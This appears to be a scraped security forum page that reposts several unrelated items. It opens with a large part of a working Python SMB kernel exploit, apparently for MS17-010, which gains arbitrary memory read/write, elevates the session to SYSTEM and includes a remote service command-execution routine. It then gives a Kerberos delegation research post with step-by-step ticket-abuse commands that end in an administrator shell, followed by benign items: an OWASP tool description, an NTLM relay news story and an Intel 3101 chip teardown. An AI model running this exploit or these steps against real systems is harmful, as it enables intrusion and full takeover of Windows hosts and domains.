dataDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # write data conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data) wait_for_request_processed(conn) def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() print('Target OS: '+server_os) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info.update(WIN7_INFO) elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "): info.update(WIN8_INFO) else: print('This exploit does not support this target') sys.exit() # ================================ # try align pagedpool and leak info until satisfy # ================================ leakInfo = None # max attempt: 10 for i in range(10): tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) if 'FRAG_POOL_SIZE' not in info: leak_frag_size(conn, tid, fid, info) reset_extra_mid(conn) leakInfo = align_transaction_and_leak(conn, tid, fid, info) if leakInfo is not None: break print('leak failed... try again') conn.close(tid, fid) conn.disconnect_tree(tid) if leakInfo is None: return False info['fid'] = fid info.update(leakInfo) # ================================ # shift trans1.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. # maxParameterCount (0x1000), trans name (4), param (4) indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte indata_next_trans_displacement = info['trans2_addr'] - indata_value conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='') if recvPkt.getNTStatus() != 0x10002: # invalid SMB print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('!!! Write to wrong place !!!') print('the target might be crashed') sys.exit() print('success controlling groom transaction') # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # but this method make the transation never get freed # I will avoid memory leak # ================================ # modify trans1 struct to be used for arbitrary read/write # ================================ print('modify trans1 struct for arbitrary read/write') fmt = info['PTR_FMT'] # modify trans_special.InData to &trans1 conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself # - trans1.InData to &trans2. so we can modify trans2 easily conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans2.mid info['trans2_mid'] = conn.next_mid() conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this # method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult. print('make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) print('overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ try: smb_pwn(conn) except: pass # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked. write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return True def smb_pwn(conn): smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True) print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2) #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # based on impacket/examples/serviceinstall.py def service_exec(smbConn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn) rpcsvc = rpctransport.get_dce_rpc() rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svnHandle = None try: print("Opening SVCManager on %s....." % smbConn.getRemoteHost()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called print('Stoping service %s.....' % service_name) scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception, e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception, e: print("ServiceExec Error on: %s" % smbConn.getRemoteHost()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect() if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] exploit(target, pipe_name) print('Done') Sursa: https://www.exploit-db.com/exploits/42315/
      • 2
      • Upvote
      • Like
  10. StackOverflow Importer Do you ever feel like all you’re doing is copy/pasting from Stack Overflow? Let’s take it one step further. from stackoverflow import quick_sort will go through the search results of [python] quick sort looking for the largest code block that doesn’t syntax error in the highest voted answer from the highest voted question and return it as a module. If that answer doesn’t have any valid python code, it checks the next highest voted answer for code blocks. >>> from stackoverflow import quick_sort, split_into_chunks >>> print(quick_sort.sort([1, 3, 2, 5, 4])) [1, 2, 3, 4, 5] >>> print(list(split_into_chunks.chunk("very good chunk func"))) ['very ', 'good ', 'chunk', ' func'] >>> print("I wonder who made split_into_chunks", split_into_chunks.__author__) I wonder who made split_into_chunks https://stackoverflow.com/a/35107113 >>> print("but what's the license? Can I really use this?", quick_sort.__license__) but what's the license? Can I really use this? CC BY-SA 3.0 >>> assert("nice, attribution!") This module is licensed under whatever license you want it to be as long as the license is compatible with the fact that I blatantly copied multiple lines of code from the Python standard library. Sursa: https://github.com/drathier/stack-overflow-import
      • 1
      • Upvote
  11. Kerberos Delegation, SPNs and More... BY: Alberto Solino 1 Latest from CoreLabs During the past few years, there has been an increasing amount of research around Kerberos security, leading to the discovery of very interesting attacks against environments supporting this authentication protocol. In this blog post, I will cover some findings (and still remaining open questions) around the Kerberos Constrained Delegation feature in Windows as well as Service Principal Name (SPN) filtering that might be useful when considering using/testing this technology. I will also share some code that you can play with. It has heavy Kerberos technical content so you might want to review its RFC or higher level tutorials like this one. Although I have been doing some research on Kerberos for quite a while, this particular work got triggered when reading Ben Campbell’s ‘Trust? Years to earn, seconds to break’ blog post (very good article by the way). While reading Ben’s article, he described the practical exploitation of an Active Directory environment when having credentials for an account that has the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION capability. He mentioned he couldn’t complete one of the attack steps using the secretsdump.py tool, part of our Impacket library. The Impacket library is used extensively in some of our products, and also as a stand-alone library and tools within the security community. It also happens that I developed that script (plus the Kerberos support) so I took a look at the possible issue for fixing. Okay.. enough explanations, let’s get into the topic: Kerberos Constrained Delegation Think about this scenario, inside a domain called FREEFLY.NET: image001.png Figure 1 - Our test environment in the FREEFLY.NET domain A normaluser@freefly.net authenticates against a target Web Server, and then that Web Server grabs some content from a third-party server (called fileserver.freefly.net). Now, how does the Web Server authenticate against File Server to grab content? There are a few options: Use a general user (could be serviceuser@freefly.net) Use the identity of the user that just authenticated against the Web Server Any other way that comes to your mind Option 2 looks interesting for those scenarios where the original identity of the client user is needed in the last hop of this chain (in this case the File Server). This might be required for auditing purposes or to enforce better authorization permissions. In order for this scenario to work, serviceuser@freefly.net needs to have special privileges that will allow it to impersonate the client user and then authenticate on behalf that user against the File Server. In a nutshell, that’s what Kerberos Delegation is for. Prior to Windows Server 2003, the only way to set up a scenario like this was to give serviceuser@freefly.net the ability to authenticate almost as any user against almost any server within the domain (I say almost because there are ways to restrict it, but most of the times not used). Sean Metcalf covers some of the dangers around this unconstrained delegation feature in this article. So, in order to address the issues associated with unconstrained delegation, Microsoft introduced Kerberos Constrained Delegation, allowing to specify what services the account you’re giving delegation rights is allowed to present delegated credentials against. This is configured in the delegation tab for the service account. In our case, there should be an entry for cifs/fileserver.freefly.net in there: kerberos_image003.png Figure 2 - Constrained Delegation set up for serviceuser@freefly.net Now, what happens if for any reason, the serviceuser@freefly.net credentials are compromised? For example, one of the possible ways for that account to get compromised is by performing a Kerberoast attack (for more info see Tim Medin’s DerbyCon “Attacking Microsoft Kerberos Kicking the Guard Dog of Hades” slides), but there are many others. In theory, an attacker using that account would be able to authenticate as any user only against the service cifs/fileserver.freefly.net. Turns out there were details I wasn’t counting on. While reading Ben Campbell’s blog post there was a paragraph that caught my attention (quoting a Benjamin Delpy’s comment): The wonderful Mr. Delpy also found that a Kerberos ticket for ldap/domaincontroller.contoso.com would also allow that account to perform an Active Directory DC Sync attack. That made me think that maybe not only a Kerberos Service Ticket (TGS) for the SPN ldapdomaincontroller.contoso.com would allow Active Directory Replication (what DC Sync and secretsdump.py do) but maybe more SPNs. So, I went to change the way Impacket handles cached Kerberos tickets in this commit. Basically, if you have different Service Ticket (TGS) cached, and you are asking for, let’s say, a ticket for host/fileserver.freefly.net but the cache only has a ticket for cifs/fileserver.freefly.net, the library will give you that one (instead of None) hoping it might actually work. Surprisingly that change worked like a charm!! The following steps follow the same steps from Ben’s blog applied to my setup, assuming I compromised serviceuser@freefly.net credentials. This time I will not use secretsdump.py, since for a domain-joined machine (File Server) having a Service Ticket (TGS) for cifs/ is enough for dumping all the credentials (different story if the target is the domain controller). I will be using wmiexec.py that needs a Service Ticket (TGS) for host/ in order to create DCOM connections against the target when executing commands through WMI. Step 0 – Specify where cached tickets will be stored # export KRB5CCNAME=/tmp/ccache Step 1 - Create a keytab for the service account # ktutil ktutil: addent -password -p serviceuser@FREEFLY.NET -k 1 -e aes256-cts-hmac-sha1-96 Password for serviceuser@FREEFLY.NET: ktutil: addent -password -p serviceuser@FREEFLY.NET -k 2 -e rc4-hmac Password for serviceuser@FREEFLY.NET: ktutil: wkt /tmp/su.keytab ktutil: exit Step 2 - Retrieve a Ticket Granting Ticket (TGT) for the service account # kinit -V -k -t /tmp/su.keytab -f serviceuser@FREEFLY.NET Using default cache: /tmp/ccache Using principal: serviceuser@FREEFLY.NET Using keytab: /tmp/su.keytab Authenticated to Kerberos v5 Step 3 – Request the Ticket Granting Service (TGS) for the target service as the impersonated user (in this case ‘Administrator’) # kvno -e aes256-cts-hmac-sha1-96 -k /tmp/su.keytab -P -U Administrator cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET: kvno = 2, keytab entry valid Step 4 – Pass the ticket using wmiexec.py (some output removed) $ ./wmiexec.py -k fileserver.freefly.net -debug Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [+] Using Kerberos Cache: /tmp/ccache [..] [*] SMBv2.1 dialect used [..] [+] Domain retrieved from CCache: FREEFLY.NET [+] Using Kerberos Cache: /tmp/ccache [+] SPN HOST/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET [..] [+] Target system is fileserver.freefly.net and isFDQN is True [+] StringBinding: \\\\FILESERVER[\\PIPE\\atsvc] [+] StringBinding: FILESERVER[49154] [+] StringBinding chosen: ncacn_ip_tcp:fileserver.freefly.net[49154] [..] [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami freefly\administrator C:\> As can be seen, I was able to create DCOM connections against the File Server, using the only SPN that was available to delegate (cifs/). With that information, it was clear to me that the Kerberos Constrained Delegation feature had some issues that needed clarification. I could basically use a Service Ticket (TGS) for cifs/* to do directory replication, or to launch DCOM, etc. Looked like the SPN didn’t matter much at the end. I emailed Microsoft Security Response Center (MSRC) with my findings and after some days of analysis they answer back with a thorough answer: The product team has finished their investigation and determined this behavior is expected; they provided the following additional details: There is no security boundary between processes that run under the same identity. The security descriptor on a process generally grants significant permissions to the user account under which the process is running. Thus, one service that is running under account foo can easily tamper with other service processes also running as foo. This lack of a security boundary extends to Kerberos as well. In the Kerberos authentication protocol, a service validates in inbound service ticket by ensuring that the ticket is encrypted to that service’s symmetric key. The SPN used does not factor into this validation; in fact the AcceptSecurityContext call that the service uses to perform this validation does not include any information about the SPNs that the service expects. Were this not the case, checking the SPN from the service ticket would still provide no security protection against a malicious client. The sname field is part of the unencrypted part of the ticket. If service account foo has registered both the host/foo and http/foo SPNs then tickets to those SPNs are fully interchangeable. [..] If a front-end service is granted permission to delegate to host/foo then it is also able to delegate to http/foo. For this reason, the new Kerberos Constrained Delegation attribute assigns permissions per account, rather than on a per SPN basis. If two services should have different delegation settings then they must be run under different accounts That was actually a big surprise to me, in particular in the context of Kerberos Constrained Delegation where you explicitly specify the services (cifs/, http/, etc) to which the account you’re enabling delegation can present delegated credentials against. The big take away from this is, when configuring Kerberos Constrained Delegation, keep in mind that you are delegating credentials not only to the service type you specified but also to the rest of the service types running under the same account. Also, the SPN specified in the sname field, doesn’t seem to be used as part of the authentication mechanism. I haven’t seen this behavior explained in any Microsoft documentation around this topic. If anyone has extra data please let me know and I’ll update it here. Also, it's fair to say that the Kerberos RFC doesn’t mention either any sname check when receiving a TGS-REQ from a client. Makes sense since the sname field seems not being protected (more on this later). Having that big question answered, I already had something else that I couldn’t understand, regarding the SPN Filtering feature. Server SPN target name validation level Going back to the Constrained Delegation set up (Figure 2), let’s say that instead of allowing to delegate to cifs/fileserver.freefly.net, we change it to upn/fileserver.freefly.net (or any other service type available except cifs/) and ran all the Steps to get the Kerberos tickets described before. We would end up having the following tickets in our ticket’s cache: Credentials cache: FILE:/tmp/ccache Principal: serviceuser@FREEFLY.NET Issued Expires Principal Feb 23 17:26:34 2017 Feb 24 03:26:34 2017 krbtgt/FREEFLY.NET@FREEFLY.NET Feb 23 17:26:39 2017 Feb 24 03:26:34 2017 serviceuser@FREEFLY.NET Feb 23 17:26:39 2017 Feb 24 03:26:34 2017 ups/FILESERVER.FREEFLY.NET@FREEFLY.NET At the same time, we enforce domain wise, the following security policy: Microsoft network server: Server SPN target name validation level: Required from client You can read about that policy here, but in a nutshell: This policy setting controls the level of validation that a server with shared folders or printers performs on the service principal name (SPN) that is provided by the client device when the client device establishes a session by using the Server Message Block (SMB) protocol. The level of validation can help prevent a class of attacks against SMB services (referred to as SMB relay attacks). Given this configuration and the cached tickets, we can try running a tool that connects to the target cifs/fileserver.freefly.net service presenting the Service Ticket (TGS) for upn/fileserver.freefly.net and hoping it would work. For example, let’s run smbclient.py: #./smbclient.py -debug -k fileserver.freefly.net Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [+] Using Kerberos Cache: /tmp/ccache [+] Domain retrieved from CCache: FREEFLY.NET [+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET [+] Using TGS from cache [+] Username retrieved from CCache: Administrator [-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) As you can see, using the ups/ Service Ticket (TGS) didn’t work this time. But, there was something very interesting inside the MSRC answer, in particular: checking the SPN from the service ticket would still provide no security protection against a malicious client. The sname field is part of the unencrypted part of the ticket. This is very important, the sname field details the target SPN the Service Ticket (TGS) is valid for. Here’s the description of the ticket taken from RFC 4120 for the Ticket included in a TGS-REP packet: Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno [0] INTEGER (5), realm [1] Realm, sname [2] PrincipalName, enc-part [3] EncryptedData -- EncTicketPart } So, as the MSRC answer detailed since the sname field is not signed or protected by any means, I could basically change it to the SPN I want and hope the long-term key used to encrypt the enc-part is the same for this new SPNs. If so, that would basically mean that both SPNs are running under the same user. With all this in mind, I added another change to the way Impacket handles Kerberos tickets. With this new change, if there’s a Service Ticket (TGS) that barely matches the target SPN, not only will the library give it back (instead of None), but also it will change its sname field so it matches the original request. As said before, this could fail big time if the target service is not running under the same service user as the original Service Ticket (TGS), at least we could try and hope for the best! With all these changes, running smbclient.py again throws the following: ./smbclient.py -debug -k fileserver.freefly.net Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [+] Using Kerberos Cache: /tmp/ccache [+] Domain retrieved from CCache: FREEFLY.NET [+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET [+] Changing sname from ups/FILESERVER.FREEFLY.NET@FREEFLY.NET to cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET and hoping for the best [+] Using TGS from cache [+] Username retrieved from CCache: Administrator Type help for list of commands # shares ADMIN$ C$ IPC$ # It worked! Even with Server SPN target name validation level: Required from client enabled. This tells me that most probably the Windows OS is reading the Service Ticket (TGS) sname when applying this policy, although I couldn’t verify it. On a side note, this policy Server SPN target name validation level: Required from client works much better (well, works..) when NTLM Authentication is being used, since the target SPN is set by the client (when the client supports it) inside the AV_PAIR structure, included in the blob that is signed as part of the NTLMv2 Authentication. Final Notes Kerberos Delegation has some very specific details that are crucial to have in mind to better understand the consequences of allowing delegation in an Active Directory environment. Consider regularly auditing the accounts with delegation enabled. Always use strong passwords for them. A compromise of those accounts could easily increase the lateral movements and elevation of privileges within the Active Directory environment. Finally, to the adventurous reader, the idea of changing a ticket’s sname could bring interesting results besides the particular situation described. More research is needed tho Thanks for reading! Acknowledgments MSRC for its quick and thorough answer. Ben Campbell (@Meatballs__) for his blog post and verifying my Impacket changes worked against his environment. Benjamin Delpy (@gentilkiwi ) for checking these findings himself, peer reviewing these contents and his knowledge of Kerberos internals. Sursa: https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more
  12. OWASP Security Knowledge Framework The OWASP Security Knowledge Framework is intended to be a tool that is used as a guide for building and verifying secure software. It can also be used to train developers about application security. Education is the first step in the Secure Software Development Lifecycle. The 4 Core usage of SKF: Security Requirements OWASP ASVS for development and for third party vendor applications Security knowledge reference (Code examples/ Knowledge Base items) Security is part of design with the pre-development functionality in SKF Use SKF to gather the right security requirements for your projects SKF then gives extensive knowledgebase items that correlates to the security requirements Developers can close "tickets" and leave an audit trail to determine possible technical depts or improvements Security specialist can follow the "tickets" and audit trail and verify or Fail closed items and provide feedback. Description The OWASP Security Knowledge Framework is an expert system web-application that uses the OWASP Application Security Verification Standard and other resources. It can be used to support developers in pre-development (security by design) as well as after code is released (OWASP ASVS Level 1-3). Why Use The OWASP Security Knowledge Framework? Our experience taught us that the current level of security the current web-applications contain is not sufficient enough to ensure security. This is mainly because web-developers simpy aren't aware of the risks and dangers are lurking, waiting to be exploited by hackers. Because of this we decided to develop a security tool in order to create a guide system available for all developers so they can develop applications secure by design. The security knowledge framework is here to support developers create secure applications. By analysing proccessing techniques in which the developers use to edit their data the application can link these techniques to different known vulnerabilities and give the developer feedback regarding descriptions and solutions on how to properly implement these techniques in a safe manner. The seccond stage of the application is validating if the developer properly implemented different types of defense mechanisms by means of different checklists such as the application security verification standards. By means of the answers supplied by the developer the application again generates documentation in which it gives feedback on what defense mechanisms he forgot to implement and give him feedback regarding descriptions and solutions on how to properly implement these techniques in a safe manner. Licensing This program is free software: you can redistribute it and/or modify it under the terms of the link GNU Affero General Public License 3.0 as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Donate <paypal>Security Knowledge Framework </paypal> Sursa: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework
  13. NTLM Relay Attacks Still Causing Problems in 2017 By Catalin Cimpanu July 11, 2017 Microsoft's July 2017 Patch Tuesday includes a fix for an issue with the NT LAN Manager (NTLM) Authentication Protocol that can be exploited to allow attackers to create admin accounts on a local network's domain controller (DC). The issue was discovered by three Preempt researchers and can be exploited because some of the authentication methods supported by Windows via the Windows Authentication API (SSPI) allow an attacker to downgrade the authentication system back to NTLM, a protocol that shipped for the first time in 1995 with Windows NT 3.51. NTLM relay attack allows creation of DC admin accounts At its heart, the attack Preempt researchers discovered is an NTLM relay attack. These types of attacks have been known to exist for well over a decade, and rely on a user connecting to an infected computer. This computer is usually infected with malware and takes NTLM credentials and relays them to a third-party or uses them to perform malicious actions on the connecting user's behalf, but without his knowledge. This is exactly what the Preempt team discovered. In a blog post published today, and in a YouTube video below, researchers said they could downgrade LDAP authentication attempt against an infected server down to NTLM, and forward authentication and session information to an attacker. The attacker could then use these credentials to create his own admin account on the local network's domain controller, effectively taking over that network. For LDAP operations, the attack works even if the user connecting to the infected server is using LDAP server signing, a security system that digitally signs every LDAP session with a unique key. The Preempt attack is tracked as CVE-2017-8563, and Microsoft issues patches via the following KB articles: 4025331, 4025333, 4025336, 4025337, 4025338, 4025339, 4025341, 4025342, 4025343, 4025344, and 4025409. Attack variation bypasses RDP Restricted-Admin Last but not least, researchers also discovered a variation of this attack that works for RDP connections to infected computers. This attack bypasses RDP Restricted-Admin, the so-called RDP Safe Mode connection type that IT technicians use to connect to infected PCs. Just like the original LDAP attack, attackers downgraded the RDP connection to NTLM and later created a rogue admin account on the local domain controller. Microsoft said this was a known issue, but did not release a fix. Sursa: https://www.bleepingcomputer.com/news/security/ntlm-relay-attacks-still-causing-problems-in-2017/
      • 1
      • Upvote
  14. Inside Intel's first product: the 3101 RAM chip held just 64 bits Intel's first product was not a processor, but a memory chip: the 31011 RAM chip, released in April 1969. This chip held just 64 bits of data (equivalent to 8 letters or 16 digits) and had the steep price tag of $99.50.2 The chip's capacity was way too small to replace core memory, the dominant storage technology at the time, which stored bits in tiny magnetized ferrite cores. However, the 3101 performed at high speed due to its special Schottky transistors, making it useful in minicomputers where CPU registers required fast storage. The overthrow of core memory would require a different technology—MOS DRAM chips—and the 3101 remained in use in the 1980s.3 This article looks inside the 3101 chip and explains how it works. I received two 3101 chips from Evan Wasserman and used a microscope to take photos of the tiny silicon die inside.4 Around the outside of the die, sixteen black bond wires connect pads on the die to the chip's external pins. The die itself consists of silicon circuitry connected by a metal layer on top, which appears golden in the photo. The thick metal lines through the middle of the chip power the chip. The silicon circuitry has a grayish-purple color, but it largely covered by the metal layer. Most of the chip contains a repeated pattern: this is the 16x4 array of storage cells. In the upper left corner of the chip, the digits "3101" in metal identify the chip, but "Intel" is not to be found. Die photo of the Intel 3101 64-bit RAM chip. Click for a larger image. Overview of the chip The 3101 chip is controlled through its 16 external pins. To select one of the chip's 16 words of memory, the address in binary is fed into the chip through the four address pins (A0 to A3). Memory is written by providing the 4-bit value on the data input pins (D1 to D4). Four data output pins (O1 to O4) are used to read memory; these pins are inverted as indicated by the overbar. The chip has two control inputs. The chip select pin (CS) enables or disables the chip. The write enable pin (WE) selects between reading or writing the memory. The chip is powered with 5 volts across the Vcc and ground pins. The diagram below shows how the key components of the 3101 are arranged on the die. The RAM storage cells are arranged as 16 rows of 4 bits. Each row stores a word, with bits D1 and D2 on the left and D3 and D4 on the right. The address decode logic in the middle selects which row of storage is active, based on the address signals coming from the address drivers at the top. At the bottom, the read/write drivers provide the interface between the storage cells and the data in and out pins. Block diagram of the 3101 RAM chip. Transistors Transistors are the key components in a chip. The 3101 uses NPN bipolar transistors, different from the MOS transistors used in modern memory chips. The diagram below shows one of the transistors in the 3101 as it appears on the die. The slightly different tints in the silicon indicate regions that have been doped to form N and P type silicon with different semiconductor properties. The cross-section diagram illustrates the internal structure of the transistor. On top (black) are the metal contacts for the collector (C), emitter (E), and base (B). Underneath, the silicon has been doped to form the N and P regions that make up the transistor. A key innovation of the 3101 was using Schottky transistors (details), which made the 3101 almost twice as fast as other memory chips.5 In the cross section, note that the base's metal contact touches both the P and N regions. You might think this shorts the two regions together, but instead a Schottky diode is formed where the metal contacts the N layer.6 The structure of an NPN Schottky transistor inside the Intel 3101 chip. The 3101 also used many multiple-emitter transistors. While a multiple-emitter transistors may seem strange, they are common in bipolar integrated circuits, especially TTL logic chips. A multiple-emitter transistor simply has several emitter regions embedded in the base region. The die photo below shows one of these transistors with the collector on the left, followed by the base and two emitters. A multiple-emitter transistor from the Intel 3101 chip. Driving the data output pins requires larger, high-current transistors. The image below shows one of these transistors. The central rectangle is the base, surrounded by the C-shaped emitter in the middle and the large collector on the outside. Eight of these high-current transistors are also used to drive the internal address select lines. For the high-current output, the Intel 3101 chip uses larger transistors. Diodes While examining the 3101 chip, I was surprised by the large number of diodes on the chip. Eventually I figured out that the chip used DTL (diode-transistor logic) for most of its logic rather than TTL (transistor-transistor logic) that I was expecting. The diagram below shows one of the diodes on the chip. I believe the chip builds diodes using the standard technique of connecting an NPN transistor as a diode. Presumed structure of a diode inside the 3101 chip. I believe this is a regular diode, not a Schottky diode. Resistors The die photo below shows several resistors on the 3101 die. The long, narrow snaking regions of p-type silicon provide resistance. Resistors in integrated circuits are inconveniently large, but are heavily used in the 3101 for pull-up and pull-down resistors. At the right is a square resistor, which has low resistance because it is very wide.7 It is used to route a signal under the metal layer, rather than functioning a resistor per se. Resistors inside the 3101 chip. The static RAM cell Now that I've explained the individual components of the chip, I'll explain how the circuitry is wired together for storage. The diagram below shows the cell for one bit of storage with the circuit diagram overlaid. Each cell consists of two multi-emitter transistors (outlined in red) and two resistors (at the top). The horizontal and vertical wiring connects cells together. This circuit forms a static RAM cell, basically a latch that can be in one of two states, storing one data bit. The circuitry of one storage cell of the 3101 RAM chip. The two multiple-emitter transistors are outlined in red. Before explaining how this storage cell works, I'll explain a simpler latch circuit, below. This circuit has two transistors cross-connected so if one transistor is on, it forces the other off. In the diagram, the left transistor is on, which keeps the right transistor off, which keeps the left transistor on. Thus, the circuit will remain in this stable configuration. The opposite state—with the left transistor off and the right transistor on—is also stable. Thus, the latch has two stable configurations, allowing it to hold a 0 or a 1. A simple latch circuit. The transistor on the left is on, forcing the transistor on the right off, forcing the transistor on the left off... To make this circuit usable—so the bit can be read or modified—more complex transistors with two emitters are used. One emitter is used to select which cell to read or write, while the other emitter is used for the read or write data. This yields the schematic below, which matches the storage cell die photo diagram above. The RAM cell used in the Intel 3101 is based on multiple-emitter transistors. The row select lines are raised to read/write the row of cells. Each data line accesses a column of cells. Multiple storage cells are combined into a grid to form the memory memory. One word of memory consists of cells in the same row that share select lines. All the cells in a column store the same bit position; their data lines are tied together. (The bias line provides a voltage level to all cells in the memory.8) Note that unlike the simplified cell, the circuit above doesn't have an explicit ground connection; to be powered, it requires a low input on either the select or data/bias lines. There are three cases of interest: Unselected: If the negative row select line is low, current flows out through the row select line. The data and bias lines are unaffected by this cell. Read: If the negative row select line is higher than the data and bias lines, current will flow out the data line if the left transistor is on, and out the bias line if the right transistor is on. Thus, the state of the cell can be read by examining the current on the data line. Write: If the negative row select line is higher and the data and bias lines have significantly different voltages, the transistor on the lower side will switch on, forcing the cell into a particular state. This allows a 0 or 1 to be written to the cell. Thus, by carefully manipulating the voltages on the select lines, data lines and the bias line, one row of memory can be read or written, while the other cells hold their current value without influencing the data line. The storage cell and the associated read/write circuitry are essentially analog circuits rather than digital since the select, data, and bias voltages must be carefully controlled voltages rather than logic levels. The address decode logic The address decode circuitry determines which row of memory cells is selected by the address lines.11 The interesting thing about this circuitry is that you can easily see how it works just by looking at the die photo. The address driver circuitry sends the four address signals along with their complements on eight metal traces through the chip. Each storage row has a four-emitter transistor. In each row you can see four black dots, which are the connections between emitters and address lines. A row will be selected if all the emitter inputs are high.9 A dot on an address line (e.g. A0) will "match" a 1, while a dot on the complemented address line (e.g. A0) will match a 0, so each row matches a unique four-bit address. In the die photo below, you can see the decoding logic counting down in binary for rows 15 down to 11;10 the remainder of the circuit follows the same pattern. The address decode logic in the Intel 3101 RAM chip. Each row 